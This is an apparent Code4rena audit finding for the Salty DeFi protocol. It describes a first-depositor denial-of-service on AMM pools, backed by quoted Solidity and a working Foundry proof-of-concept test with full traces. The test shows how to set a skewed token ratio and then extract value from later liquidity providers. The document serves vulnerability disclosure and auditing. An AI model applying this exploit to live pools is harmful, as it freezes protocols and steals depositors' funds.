search

code-423n4 / 2024-01-salty-findings

11 stars 6 forks source link

First collateral/liquidity provider can DoS AMM pools and USDS almost for free #696

Closed c4-bot-4 closed 8 months ago

c4-bot-4 commented 9 months ago

Lines of code

https://github.com/code-423n4/2024-01-salty/blob/main/src/pools/Pools.sol#L271 https://github.com/code-423n4/2024-01-salty/blob/main/src/pools/Pools.sol#L90-L165

Vulnerability details

Impact

The first depositor of liquidity/collateral in all different liquidity pools can make the protocol to stop working entirely. The first user that deposits liquidity/collateral in a pool, has the power to establish the ratio between the 2 tokens. The only restriction for depositing the first time is to add a minimum of 100 units of each token in the pool. There is also a really relevant feature of these AMM token pools, when swapping, the resulting reserve amounts have to contain at least 100 units of each token.

These 2 things combined enable anyone being the first depositor to DoS a liquidity pool or even the entire protocol.

Written proof of concept

Take into account the collateral pool that is composed of WETH and WBTC. Suppose that ETH is at 2 000 USD and BTC at 40 000 USD. WETH has 18 decimals and WBTC 8. The first depositor (that can be anyone) deposits the minimum of each token to the pool. Hence 101 units of WETH and 101 units of WBTC.

This single action only costs the following to the user:

0.000000000000000101 ETH = 0.000000000000202 $
0.00000101           BTC = 0.0404 $
              Total cost = 0.040400000000202 $

As we can see, this deposit of collateral was almost free for the user. But this simple action has DoS the entire protocol.

The ratio of the 2 tokens has been set to be 0.0000000001 ETH = 1 BTC due to difference of decimals, when in reality is 20 ETH = 1 BTC.

Why the protocol suffers from DoS?

  1. Liquidity providers will be forced to supply liquidity at this initially set token ratio. This will basically disincentivize any user from providing liquidity due to the price discrepancy with the market. That is because as soon as more liquidity gets into the pool, a huge arbitrage opportunity will emerge for users and bots who will extract the value from the liquidity provider. (Check coded proof of concept)

  2. The only way to fix this token ratio would be by swapping ETH for BTC and align the price with the market. However, if someone tries to swap any amount in any direction, since the reserve of the output token will decrease to a number smaller than 100, the transaction will revert.

    function _adjustReservesForSwap( IERC20 tokenIn, IERC20 tokenOut, uint256 amountIn ) internal returns (uint256 amountOut)
    {
    (bytes32 poolID, bool flipped) = PoolUtils._poolIDAndFlipped(tokenIn, tokenOut);

    PoolReserves storage reserves = _poolReserves[poolID];
    uint256 reserve0 = reserves.reserve0;
    uint256 reserve1 = reserves.reserve1;

    require((reserve0 >= PoolUtils.DUST) && (reserve1 >= PoolUtils.DUST), "Insufficient reserves before swap");

    // See if the reserves are flipped in regards to the argument token order
    if (flipped)
        {
        reserve1 += amountIn;
        amountOut = reserve0 * amountIn / reserve1;
        reserve0 -= amountOut;
        }
    else
        {
        reserve0 += amountIn;
        amountOut = reserve1 * amountIn / reserve0;
        reserve1 -= amountOut;
        }

    // Make sure that the reserves after swap are above DUST
@>        require( (reserve0 >= PoolUtils.DUST) && (reserve1 >= PoolUtils.DUST), "Insufficient reserves after swap");         // Will revert here

    // Update the reserves
    reserves.reserve0 = uint128(reserve0);
    reserves.reserve1 = uint128(reserve1);
    }

When this situation is reached neither liquidity providers nor swappers will use the liquidity pool.

The only possible way to fix it would be providing liquidity to the pool knowing that the value of your deposited assets will drop to 0. Since it would be a huge lose by the depositor nobody would never be incentivised to do it.

Proof of Concept

Check this foundry test

Setup:

contract TestComprehensive1 is Deployment
    {
    // User wallets for testing
    address public constant alice = address(0x1111);
    address public constant bob = address(0x2222);
    address public constant charlie = address(0x3333);
    address public constant delta = address(0x4444);
    function setUp() public
        {
        initializeContracts();

        grantAccessAlice();
        grantAccessBob();
        grantAccessCharlie();
        grantAccessDeployer();
        grantAccessDefault();

        // Give some WBTC and WETH to Alice, Bob and Charlie
        vm.startPrank(DEPLOYER);
        wbtc.transfer(alice, 1000 * 10**8 );
        wbtc.transfer(bob, 1000 * 10**8 );
        wbtc.transfer(charlie, 1000 * 10**8 );

        weth.transfer(alice, 1000 ether);
        weth.transfer(bob, 1000 ether);
        weth.transfer(charlie, 1000 ether);
        vm.stopPrank();

        // Everyone approves
        vm.startPrank(alice);
        salt.approve(address(pools), type(uint256).max);
        wbtc.approve(address(pools), type(uint256).max);
        weth.approve(address(pools), type(uint256).max);
        salt.approve(address(collateralAndLiquidity), type(uint256).max);
        wbtc.approve(address(collateralAndLiquidity), type(uint256).max);
        weth.approve(address(collateralAndLiquidity), type(uint256).max);
        vm.stopPrank();

        vm.startPrank(bob);
        salt.approve(address(pools), type(uint256).max);
        wbtc.approve(address(pools), type(uint256).max);
        weth.approve(address(pools), type(uint256).max);
        salt.approve(address(collateralAndLiquidity), type(uint256).max);
        wbtc.approve(address(collateralAndLiquidity), type(uint256).max);
        weth.approve(address(collateralAndLiquidity), type(uint256).max);
        vm.stopPrank();

        vm.startPrank(charlie);
        salt.approve(address(pools), type(uint256).max);
        wbtc.approve(address(pools), type(uint256).max);
        weth.approve(address(pools), type(uint256).max);
        salt.approve(address(collateralAndLiquidity), type(uint256).max);
        wbtc.approve(address(collateralAndLiquidity), type(uint256).max);
        weth.approve(address(collateralAndLiquidity), type(uint256).max);
        wbtc.approve(address(collateralAndLiquidity), type(uint256).max);
        weth.approve(address(collateralAndLiquidity), type(uint256).max);
        vm.stopPrank();

        // Cast votes for the BootstrapBallot so that the initialDistribution can happen
        bytes memory sig = abi.encodePacked(aliceVotingSignature);
        vm.startPrank(alice);
        bootstrapBallot.vote(true, sig);
        vm.stopPrank();

        sig = abi.encodePacked(bobVotingSignature);
        vm.startPrank(bob);
        bootstrapBallot.vote(true, sig);
        vm.stopPrank();

        sig = abi.encodePacked(charlieVotingSignature);
        vm.startPrank(charlie);
        bootstrapBallot.vote(false, sig);
        vm.stopPrank();

        // Finalize the ballot to distribute SALT to the protocol contracts and start up the exchange
        vm.warp( bootstrapBallot.completionTimestamp() );
        bootstrapBallot.finalizeBallot();

        // Have alice, bob and charlie claim their xSALT airdrop
        vm.prank(alice);
        airdrop.claimAirdrop();
        vm.prank(bob);
        airdrop.claimAirdrop();
        vm.prank(charlie);
        airdrop.claimAirdrop();

        // Wait a day so that alice, bob and charlie receive some SALT emissions for their xSALT
        vm.warp( block.timestamp + 1 days );
        upkeep.performUpkeep();

        bytes32[] memory poolIDs = new bytes32[](1);
        poolIDs[0] = PoolUtils.STAKED_SALT;

        vm.prank(alice);
        staking.claimAllRewards(poolIDs);
        vm.prank(bob);
        staking.claimAllRewards(poolIDs);
        vm.prank(charlie);
        staking.claimAllRewards(poolIDs);
        }

Proof of Concept:

    function testSomeoneCanDoSAnyPoolAlmostForFree(uint256 amountToSwap) public
        {
        // Real scenario:
        // 1ETH = 2.000 USD     1BTC = 40.000 USD       1BTC = 20ETH
        // Bob is a malicious user that wants to DoS the WETH/WBTC pool and the USDS with it
        vm.startPrank(bob);
        weth.approve(address(collateralAndLiquidity), 101);
        wbtc.approve(address(collateralAndLiquidity), 101);

        // Bob just provides the minimum amount of both tokens (101) to the pool
        collateralAndLiquidity.depositCollateralAndIncreaseShare(101, 101, 0, block.timestamp, false);
        vm.stopPrank();

        // At this point the WETH/WBTC pool is screwed up for the following reasons:
        // 1 - The ratio of these 2 tokens is wrong, it is 1BTC = 0.000000000001 ETH. This means that collateral providers
        // will be disincentived to provide collateral because they will lose value.
        // They will lose value because the following will happen:
        //      1 - Collateral providers are restricted to provide collateral at this current rate
        //      2 - As soon as there is enough liquidity in the pool, an arbitrager will take advantage of
        //          this rate and will swap ETH for BTC. The shares of the collateral provider will remain
        //          the same and as a result he will have lost value because there will be more ETH that
        //          is less valuable and less BTC that is more valuable
        // 2 - To fix this situation, the only possible action is swapping the amounts to adjust the real
        // price of both tokens. However, to do this is needed to execute a swap, but this call will revert
        // because the reserves at the end of a swap has to contain at least 100 tokens in it.

        vm.startPrank(charlie);
        // Swapping any amount of tokens will revert
        vm.assume(amountToSwap > 2);
        weth.approve(address(pools), amountToSwap);
        vm.expectRevert();
        pools.depositSwapWithdraw(weth, wbtc, amountToSwap, 0, block.timestamp);
        vm.stopPrank();

        // If a liquidity provider supply liquidity, it will lose value
        vm.startPrank(alice);
        weth.approve(address(collateralAndLiquidity), 100 * 10**8); // 0.00000001 ETH   ->  0.00002 $
        wbtc.approve(address(collateralAndLiquidity), 100 * 10**8); // 100 BTC          ->  4 000 000 $
        collateralAndLiquidity.depositCollateralAndIncreaseShare(100 * 10**8, 100 * 10**8, 0, block.timestamp, false);

        // At this point there is a huge arbitrage oportunity. So Charlie takes it and swaps 0.00001 ETH for 99.9 BTC
        // Hence he changed 0.00001 * 2000 $ = 0.02$ for 99.9 * 40000 $ = 3 996 000 $
        vm.startPrank(charlie);
        weth.approve(address(pools), 0.00001 ether);
        uint256 btcObtainedInSwap = pools.depositSwapWithdraw(weth, wbtc, 0.00001 ether, 0, block.timestamp);
        console.log("Charlie swapped 0.00001 ETH for this amount of BTC", btcObtainedInSwap);
        vm.stopPrank();
        uint256 alicePoolShares = collateralAndLiquidity.userShareForPool(alice, PoolUtils._poolID(weth, wbtc));
        uint256 totalShares = collateralAndLiquidity.totalShares(PoolUtils._poolID(weth, wbtc));
        (uint256 reserveEth, uint256 reserveBtc) = pools.getPoolReserves(weth, wbtc);
        uint256 withdrawableEthAmount = ( reserveEth * alicePoolShares ) / totalShares;
        uint256 withdrawableBtcAmount = ( reserveBtc * alicePoolShares ) / totalShares;
        console.log("Alice would be able to withdraw the following ETH", withdrawableEthAmount);        // 10009999899000
        console.log("Alice would be able to withdraw the following BTC", withdrawableBtcAmount);        // 9990010 
        // 10009999899000 = 0.000010009999899 ETH ~ 0.02 $                  9990010 = 0.0999001 BTC ~ 3.996 $
        // Alice (collateral provider) lost 3 996 004 $
        // Hence, collateral providers are highly disincentived to provide collateral
        vm.stopPrank();
        }
    }

Output traces:

Running 1 test for src/scenario_tests/Comprehensive1.t.sol:TestComprehensive1
[PASS] testSomeoneCanDoSAnyPoolAlmostForFree(uint256) (runs: 20000, μ: 517812, ~: 515484)
Traces:
  [519748] TestComprehensive1::testSomeoneCanDoSAnyPoolAlmostForFree(1221331808342438492702556726220170473668010 [1.221e42])
    ├─ [0] VM::startPrank(0x0000000000000000000000000000000000002222)
    │   └─ ← ()
    ├─ [7503] TestERC20::approve(CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], 101)
    │   ├─ emit Approval(owner: 0x0000000000000000000000000000000000002222, spender: CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], value: 101)
    │   └─ ← true
    ├─ [7503] TestERC20::approve(CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], 101)
    │   ├─ emit Approval(owner: 0x0000000000000000000000000000000000002222, spender: CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], value: 101)
    │   └─ ← true
    ├─ [257619] CollateralAndLiquidity::depositCollateralAndIncreaseShare(101, 101, 0, 1706528904 [1.706e9], false)
    │   ├─ [14386] ExchangeConfig::walletHasAccess(0x0000000000000000000000000000000000002222) [staticcall]
    │   │   ├─ [4706] AccessManager::walletHasAccess(0x0000000000000000000000000000000000002222) [staticcall]
    │   │   │   └─ ← true
    │   │   └─ ← true
    │   ├─ [27508] TestERC20::transferFrom(0x0000000000000000000000000000000000002222, CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], 101)
    │   │   ├─ emit Approval(owner: 0x0000000000000000000000000000000000002222, spender: CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], value: 0)
    │   │   ├─ emit Transfer(from: 0x0000000000000000000000000000000000002222, to: CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], value: 101)
    │   │   └─ ← true
    │   ├─ [27508] TestERC20::transferFrom(0x0000000000000000000000000000000000002222, CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], 101)
    │   │   ├─ emit Approval(owner: 0x0000000000000000000000000000000000002222, spender: CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], value: 0)
    │   │   ├─ emit Transfer(from: 0x0000000000000000000000000000000000002222, to: CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], value: 101)
    │   │   └─ ← true
    │   ├─ [24603] TestERC20::approve(Pools: [0x9230890252C028b4a45A40F460c721a6AAD4763e], 101)
    │   │   ├─ emit Approval(owner: CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], spender: Pools: [0x9230890252C028b4a45A40F460c721a6AAD4763e], value: 101)
    │   │   └─ ← true
    │   ├─ [24603] TestERC20::approve(Pools: [0x9230890252C028b4a45A40F460c721a6AAD4763e], 101)
    │   │   ├─ emit Approval(owner: CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], spender: Pools: [0x9230890252C028b4a45A40F460c721a6AAD4763e], value: 101)
    │   │   └─ ← true
    │   ├─ [73888] Pools::addLiquidity(TestERC20: [0xd47A53557a81B3A98855e6417F43F1df9a642a98], TestERC20: [0xaaEf7d54395fc25960E06720401f0C68280E25b2], 101, 101, 0, 0)
    │   │   ├─ [22007] TestERC20::transferFrom(CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], Pools: [0x9230890252C028b4a45A40F460c721a6AAD4763e], 101)
    │   │   │   ├─ emit Approval(owner: CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], spender: Pools: [0x9230890252C028b4a45A40F460c721a6AAD4763e], value:0)
    │   │   │   ├─ emit Transfer(from: CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], to: Pools: [0x9230890252C028b4a45A40F460c721a6AAD4763e], value: 101)
    │   │   │   └─ ← true
    │   │   ├─ [22007] TestERC20::transferFrom(CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], Pools: [0x9230890252C028b4a45A40F460c721a6AAD4763e], 101)
    │   │   │   ├─ emit Approval(owner: CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], spender: Pools: [0x9230890252C028b4a45A40F460c721a6AAD4763e], value:0)
    │   │   │   ├─ emit Transfer(from: CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], to: Pools: [0x9230890252C028b4a45A40F460c721a6AAD4763e], value: 101)
    │   │   │   └─ ← true
    │   │   ├─ emit LiquidityAdded(tokenA: TestERC20: [0xd47A53557a81B3A98855e6417F43F1df9a642a98], tokenB: TestERC20: [0xaaEf7d54395fc25960E06720401f0C68280E25b2], addedAmountA:101, addedAmountB: 101, addedLiquidity: 202)
    │   │   └─ ← 101, 101, 202
    │   ├─ [2510] PoolsConfig::isWhitelisted(0xb3c31de4eb268467070b1c55e9f4424b08f0ad6036d6a0b77a2a5b838ac78b55) [staticcall]
    │   │   └─ ← true
    │   ├─ [370] ExchangeConfig::dao() [staticcall]
    │   │   └─ ← DAO: [0xAE65Fd081a1aAf0199d46D6101263489CcE9bd99]
    │   ├─ [2328] 0x01a1B171D93B7c5e0dF57a10465D905cb32Bb4C7::modificationCooldown() [staticcall]
    │   │   └─ ← 3600
    │   ├─ emit UserShareIncreased(wallet: 0x0000000000000000000000000000000000002222, poolID: 0xb3c31de4eb268467070b1c55e9f4424b08f0ad6036d6a0b77a2a5b838ac78b55, amountIncreased: 202)
    │   ├─ emit LiquidityDeposited(user: 0x0000000000000000000000000000000000002222, tokenA: TestERC20: [0xd47A53557a81B3A98855e6417F43F1df9a642a98], tokenB: TestERC20: [0xaaEf7d54395fc25960E06720401f0C68280E25b2], amountA: 101, amountB: 101, addedLiquidity: 202)
    │   ├─ emit CollateralDeposited(depositor: 0x0000000000000000000000000000000000002222, amountWBTC: 101, amountWETH: 101, liquidity: 202)
    │   └─ ← 101, 101, 202
    ├─ [0] VM::stopPrank()
    │   └─ ← ()
    ├─ [0] VM::startPrank(0x0000000000000000000000000000000000003333)
    │   └─ ← ()
    ├─ [0] VM::assume(true) [staticcall]
    │   └─ ← ()
    ├─ [7503] TestERC20::approve(Pools: [0x9230890252C028b4a45A40F460c721a6AAD4763e], 1221331808342438492702556726220170473668010 [1.221e42])
    │   ├─ emit Approval(owner: 0x0000000000000000000000000000000000003333, spender: Pools: [0x9230890252C028b4a45A40F460c721a6AAD4763e], value: 1221331808342438492702556726220170473668010 [1.221e42])
    │   └─ ← true
    ├─ [0] VM::expectRevert(custom error f4844814:)
    │   └─ ← ()
    ├─ [10136] Pools::depositSwapWithdraw(TestERC20: [0xaaEf7d54395fc25960E06720401f0C68280E25b2], TestERC20: [0xd47A53557a81B3A98855e6417F43F1df9a642a98], 1221331808342438492702556726220170473668010 [1.221e42], 0, 1706528904 [1.706e9])
    │   ├─ [4266] TestERC20::transferFrom(0x0000000000000000000000000000000000003333, Pools: [0x9230890252C028b4a45A40F460c721a6AAD4763e], 1221331808342438492702556726220170473668010 [1.221e42])
    │   │   ├─ emit Approval(owner: 0x0000000000000000000000000000000000003333, spender: Pools: [0x9230890252C028b4a45A40F460c721a6AAD4763e], value: 0)
    │   │   └─ ← revert: ERC20: transfer amount exceeds balance
    │   └─ ← revert: ERC20: transfer amount exceeds balance
    ├─ [0] VM::stopPrank()
    │   └─ ← ()
    ├─ [0] VM::startPrank(0x0000000000000000000000000000000000001111)
    │   └─ ← ()
    ├─ [7503] TestERC20::approve(CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], 10000000000 [1e10])
    │   ├─ emit Approval(owner: 0x0000000000000000000000000000000000001111, spender: CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], value: 10000000000 [1e10])
    │   └─ ← true
    ├─ [7503] TestERC20::approve(CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], 10000000000 [1e10])
    │   ├─ emit Approval(owner: 0x0000000000000000000000000000000000001111, spender: CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], value: 10000000000 [1e10])
    │   └─ ← true
    ├─ [161846] CollateralAndLiquidity::depositCollateralAndIncreaseShare(10000000000 [1e10], 10000000000 [1e10], 0, 1706528904 [1.706e9], false)
    │   ├─ [3886] ExchangeConfig::walletHasAccess(0x0000000000000000000000000000000000001111) [staticcall]
    │   │   ├─ [2706] AccessManager::walletHasAccess(0x0000000000000000000000000000000000001111) [staticcall]
    │   │   │   └─ ← true
    │   │   └─ ← true
    │   ├─ [25508] TestERC20::transferFrom(0x0000000000000000000000000000000000001111, CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], 10000000000 [1e10])
    │   │   ├─ emit Approval(owner: 0x0000000000000000000000000000000000001111, spender: CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], value: 0)
    │   │   ├─ emit Transfer(from: 0x0000000000000000000000000000000000001111, to: CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], value: 10000000000 [1e10])
    │   │   └─ ← true
    │   ├─ [25508] TestERC20::transferFrom(0x0000000000000000000000000000000000001111, CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], 10000000000 [1e10])
    │   │   ├─ emit Approval(owner: 0x0000000000000000000000000000000000001111, spender: CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], value: 0)
    │   │   ├─ emit Transfer(from: 0x0000000000000000000000000000000000001111, to: CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], value: 10000000000 [1e10])
    │   │   └─ ← true
    │   ├─ [22503] TestERC20::approve(Pools: [0x9230890252C028b4a45A40F460c721a6AAD4763e], 10000000000 [1e10])
    │   │   ├─ emit Approval(owner: CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], spender: Pools: [0x9230890252C028b4a45A40F460c721a6AAD4763e], value: 10000000000 [1e10])
    │   │   └─ ← true
    │   ├─ [22503] TestERC20::approve(Pools: [0x9230890252C028b4a45A40F460c721a6AAD4763e], 10000000000 [1e10])
    │   │   ├─ emit Approval(owner: CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], spender: Pools: [0x9230890252C028b4a45A40F460c721a6AAD4763e], value: 10000000000 [1e10])
    │   │   └─ ← true
    │   ├─ [18360] Pools::addLiquidity(TestERC20: [0xd47A53557a81B3A98855e6417F43F1df9a642a98], TestERC20: [0xaaEf7d54395fc25960E06720401f0C68280E25b2], 10000000000 [1e10], 10000000000 [1e10], 0, 202)
    │   │   ├─ [4487] TestERC20::transferFrom(CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], Pools: [0x9230890252C028b4a45A40F460c721a6AAD4763e], 10000000000 [1e10])
    │   │   │   ├─ emit Approval(owner: CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], spender: Pools: [0x9230890252C028b4a45A40F460c721a6AAD4763e], value:0)
    │   │   │   ├─ emit Transfer(from: CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], to: Pools: [0x9230890252C028b4a45A40F460c721a6AAD4763e], value: 10000000000 [1e10])
    │   │   │   └─ ← true
    │   │   ├─ [4487] TestERC20::transferFrom(CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], Pools: [0x9230890252C028b4a45A40F460c721a6AAD4763e], 10000000000 [1e10])
    │   │   │   ├─ emit Approval(owner: CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], spender: Pools: [0x9230890252C028b4a45A40F460c721a6AAD4763e], value:0)
    │   │   │   ├─ emit Transfer(from: CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], to: Pools: [0x9230890252C028b4a45A40F460c721a6AAD4763e], value: 10000000000 [1e10])
    │   │   │   └─ ← true
    │   │   ├─ emit LiquidityAdded(tokenA: TestERC20: [0xd47A53557a81B3A98855e6417F43F1df9a642a98], tokenB: TestERC20: [0xaaEf7d54395fc25960E06720401f0C68280E25b2], addedAmountA:10000000000 [1e10], addedAmountB: 10000000000 [1e10], addedLiquidity: 20000000000 [2e10])
    │   │   └─ ← 10000000000 [1e10], 10000000000 [1e10], 20000000000 [2e10]
    │   ├─ [510] PoolsConfig::isWhitelisted(0xb3c31de4eb268467070b1c55e9f4424b08f0ad6036d6a0b77a2a5b838ac78b55) [staticcall]
    │   │   └─ ← true
    │   ├─ [370] ExchangeConfig::dao() [staticcall]
    │   │   └─ ← DAO: [0xAE65Fd081a1aAf0199d46D6101263489CcE9bd99]
    │   ├─ [328] 0x01a1B171D93B7c5e0dF57a10465D905cb32Bb4C7::modificationCooldown() [staticcall]
    │   │   └─ ← 3600
    │   ├─ emit UserShareIncreased(wallet: 0x0000000000000000000000000000000000001111, poolID: 0xb3c31de4eb268467070b1c55e9f4424b08f0ad6036d6a0b77a2a5b838ac78b55, amountIncreased: 20000000000 [2e10])
    │   ├─ emit LiquidityDeposited(user: 0x0000000000000000000000000000000000001111, tokenA: TestERC20: [0xd47A53557a81B3A98855e6417F43F1df9a642a98], tokenB: TestERC20: [0xaaEf7d54395fc25960E06720401f0C68280E25b2], amountA: 10000000000 [1e10], amountB: 10000000000 [1e10], addedLiquidity: 20000000000 [2e10])
    │   ├─ emit CollateralDeposited(depositor: 0x0000000000000000000000000000000000001111, amountWBTC: 10000000000 [1e10], amountWETH: 10000000000 [1e10], liquidity: 20000000000 [2e10])
    │   └─ ← 10000000000 [1e10], 10000000000 [1e10], 20000000000 [2e10]
    ├─ [0] VM::startPrank(0x0000000000000000000000000000000000003333)
    │   └─ ← ()
    ├─ [2603] TestERC20::approve(Pools: [0x9230890252C028b4a45A40F460c721a6AAD4763e], 10000000000000 [1e13])
    │   ├─ emit Approval(owner: 0x0000000000000000000000000000000000003333, spender: Pools: [0x9230890252C028b4a45A40F460c721a6AAD4763e], value: 10000000000000 [1e13])
    │   └─ ← true
    ├─ [28440] Pools::depositSwapWithdraw(TestERC20: [0xaaEf7d54395fc25960E06720401f0C68280E25b2], TestERC20: [0xd47A53557a81B3A98855e6417F43F1df9a642a98], 10000000000000 [1e13],0, 1706528904 [1.706e9])
    │   ├─ [8327] TestERC20::transferFrom(0x0000000000000000000000000000000000003333, Pools: [0x9230890252C028b4a45A40F460c721a6AAD4763e], 10000000000000 [1e13])
    │   │   ├─ emit Approval(owner: 0x0000000000000000000000000000000000003333, spender: Pools: [0x9230890252C028b4a45A40F460c721a6AAD4763e], value: 0)
    │   │   ├─ emit Transfer(from: 0x0000000000000000000000000000000000003333, to: Pools: [0x9230890252C028b4a45A40F460c721a6AAD4763e], value: 10000000000000 [1e13])
    │   │   └─ ← true
    │   ├─ emit SwapAndArbitrage(user: 0x0000000000000000000000000000000000003333, swapTokenIn: TestERC20: [0xaaEf7d54395fc25960E06720401f0C68280E25b2], swapTokenOut: TestERC20: [0xd47A53557a81B3A98855e6417F43F1df9a642a98], swapAmountIn: 10000000000000 [1e13], swapAmountOut: 9990010090 [9.99e9], arbitrageProfit: 0)
    │   ├─ [7834] TestERC20::transfer(0x0000000000000000000000000000000000003333, 9990010090 [9.99e9])
    │   │   ├─ emit Transfer(from: Pools: [0x9230890252C028b4a45A40F460c721a6AAD4763e], to: 0x0000000000000000000000000000000000003333, value: 9990010090 [9.99e9])
    │   │   └─ ← true
    │   └─ ← 9990010090 [9.99e9]
    ├─ [0] console::log("Charlie swapped 0.00001 ETH for this amount of BTC", 9990010090 [9.99e9]) [staticcall]
    │   └─ ← ()
    ├─ [0] VM::stopPrank()
    │   └─ ← ()
    ├─ [692] CollateralAndLiquidity::userShareForPool(0x0000000000000000000000000000000000001111, 0xb3c31de4eb268467070b1c55e9f4424b08f0ad6036d6a0b77a2a5b838ac78b55) [staticcall]
    │   └─ ← 20000000000 [2e10]
    ├─ [540] CollateralAndLiquidity::totalShares(0xb3c31de4eb268467070b1c55e9f4424b08f0ad6036d6a0b77a2a5b838ac78b55) [staticcall]
    │   └─ ← 20000000202 [2e10]
    ├─ [1178] Pools::getPoolReserves(TestERC20: [0xaaEf7d54395fc25960E06720401f0C68280E25b2], TestERC20: [0xd47A53557a81B3A98855e6417F43F1df9a642a98]) [staticcall]
    │   └─ ← 10010000000101 [1.001e13], 9990011 [9.99e6]
    ├─ [0] console::log("Alice would be able to withdraw the following ETH", 10009999899000 [1e13]) [staticcall]
    │   └─ ← ()
    ├─ [0] console::log("Alice would be able to withdraw the following BTC", 9990010 [9.99e6]) [staticcall]
    │   └─ ← ()
    ├─ [0] VM::stopPrank()
    │   └─ ← ()
    └─ ← ()

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 31.33s

Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

Different severities of the attack

There are 3 different attack situations:

  1. The collateral pool (WETH/WBTC) suffers the attack:

    • The pool would not be used

    • Nobody would provide collateral and as a result nobody would use USDS stablecoin

    • A big number of pool swaps would stop working due to arbitrage paths

      function _arbitragePath( IERC20 swapTokenIn, IERC20 swapTokenOut ) internal view returns (IERC20 arbToken2, IERC20 arbToken3)
    {
    // swap: WBTC->WETH
    // arb: WETH->WBTC->SALT->WETH
    if ( address(swapTokenIn) == address(wbtc))
    if ( address(swapTokenOut) == address(weth))
        return (wbtc, salt);

    // swap: WETH->WBTC
    // arb: WETH->SALT->WBTC->WETH
    if ( address(swapTokenIn) == address(weth))
    if ( address(swapTokenOut) == address(wbtc))
        return (salt, wbtc);

    // swap: WETH->swapTokenOut
    // arb: WETH->WBTC->swapTokenOut->WETH
    if ( address(swapTokenIn) == address(weth))
        return (wbtc, swapTokenOut);

    // swap: swapTokenIn->WETH
    // arb: WETH->swapTokenIn->WBTC->WETH
    if ( address(swapTokenOut) == address(weth))
        return (swapTokenIn, wbtc);

    // swap: swapTokenIn->swapTokenOut
    // arb: WETH->swapTokenOut->swapTokenIn->WETH
    return (swapTokenOut, swapTokenIn);
    }

      Since the WETH/WBTC pool is involved in all possible swaps except of swapTokenIn->swapTokenOut, when the binary search would detect an arbitrage profit in this pool, it would try to swap tokens in this pool and would revert due to any of the reserves dropping below 100 units of the token.

    • In this situation, the first depositor can also borrow USDS and become not liquidable because when the function will try to remove liquidity, the reserves will drop below 100 units of tokens and the transaction will revert

  2. A pool that involves any of the important tokens for the protocol (WETH, WBTC and SALT):

    • The pool would not be used
    • Some of the protocol pools would stop working due to arbitrage paths. For example, if SALT/WETH pool would be attacked it would only effect 2 different arbitrage paths, whereas USDC/WETH pool would only effect 1 arbitrage path.

  3. A pool that involves tokens that are not relevant for the protocol

    • The pool would not be used
    • Since the arbitrage path is only used when swapping in its own pool, it would not effect other token pools

Note: This attack is mainly possible due to price and decimal difference between tokens. That means that with tokens that are pegged 1:1 and have the same number of decimals, it is not possible to execute this action. For example, in a pool with stablecoins like USDS and DAI that share the same amount of decimals, this attack would not be possible because setting the 1:1 ratio for the 2 tokens would not have any discrepancy with the market and liquidity providers would deposit assets normally. Thus, the liquidity pool would work as expected.

Tools Used

Manual review

Recommended Mitigation Steps

From my point of view the check at the end of each swap to disable draining the whole pool reserves its a good security check for possible price manipulation attacks so I would not change that.

